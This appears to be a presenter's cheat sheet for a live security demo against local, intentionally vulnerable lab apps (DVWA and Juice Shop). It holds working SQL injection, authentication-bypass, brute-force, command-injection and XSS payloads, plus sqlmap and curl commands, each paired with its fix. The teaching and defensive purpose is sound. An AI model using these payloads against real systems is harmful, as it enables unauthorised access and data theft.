Vulnerability Assessment — Live Demo Cheat Sheet

DVWA :4280 · Juice Shop :3000 · Hardened :4281 · admin/password

SETUP `cd ~/Downloads/Claude/vuln-assessment && bash scripts/setup_lab.sh`
COOKIE `export CK="PHPSESSID=$(grep -i PHPSESSID /tmp/dvwa_cookies.txt|awk '{print $NF}'); security=low"` · browser: DVWA → login → Security=Low

1 · SQL Injection (DVWA) — 8.8 HIGH

BROWSER — SQL INJECTION BOX

```
1' UNION SELECT user, password FROM users-- -
```

TERMINAL — DUMP + CRACK

```
python3 /tmp/sqlmap-dev/sqlmap.py -u
"http://127.0.0.1:4280/vulnerabilities/sqli/?id=1&Submit=Submit" --
cookie="$CK" --batch -D dvwa -T users --dump
```

→ all 5 users, MD5 cracked. Fix: Security=Impossible → prepared stmt, re-test = no data.

2 · SQLi Auth Bypass (Juice Shop) — 9.8 CRIT

BROWSER — LOGIN FORM

```
email:  ' OR 1=1--     password: anything
```

TERMINAL

```
curl -s -H "Content-Type: application/json" --data '{"email":"'"'"' OR
1=1--","password":"x"}' http://127.0.0.1:3000/rest/user/login
```

→ admin@juice-sh.op, JWT returned ("Login Admin" banner). Fix: parameterised query (code).

3 · Broken Auth / No Lockout — 8.1 HIGH

TERMINAL — BRUTE + NO-LOCKOUT

```
SID=$(grep -i PHPSESSID /tmp/dvwa_cookies.txt|awk '{print $NF}')
for p in 123456 admin letmein qwerty password; do curl -s -b
"PHPSESSID=$SID; security=low"
"http://127.0.0.1:4280/vulnerabilities/brute/?
username=admin&password=$p&Login=Login" | grep -q Welcome && echo "[+]
$p" || echo "[-] $p"; done
```

→ [+] password. Fix: Impossible = lockout 3 fails/15s + MFA.

4 · OS Command Injection — 8.8 HIGH

BROWSER — COMMAND INJECTION IP BOX

```
127.0.0.1; id; uname -a
```

→ uid=33(www-data) + kernel = RCE. Fix: Impossible → "Invalid IP" (octet allow-list).

5 · XSS — Reflected + Stored — 6.1 MED

BROWSER — XSS (REFLECTED) NAME BOX

```
<script>alert('XSS')</script>
```

BROWSER — XSS (STORED) MESSAGE BOX

```
<script>alert('stored')</script>
```

→ script runs. Fix: Impossible → shows as text (htmlspecialchars) + CSP.

6 · Security Misconfiguration — 5.3 MED

TERMINAL — BEFORE (4280) VS AFTER (4281)

```
curl -s -D - -o /dev/null http://127.0.0.1:4280/login.php | grep -iE
"server:|set-cookie|content-security|x-frame"
curl -s -D - -o /dev/null http://127.0.0.1:4281/login.php | grep -iE
"server:|set-cookie|content-security|x-frame|strict-transport"
```

→ before: Apache leaked, no headers. after: nginx + CSP + X-Frame DENY + HSTS + HttpOnly cookie.

Reset stored XSS: Setup / Reset DB → re-run setup_lab.sh. Flip back to Low before re-demoing. Teardown: `docker compose -f docker-compose.yml -f docker-compose.hardened.yml down -v`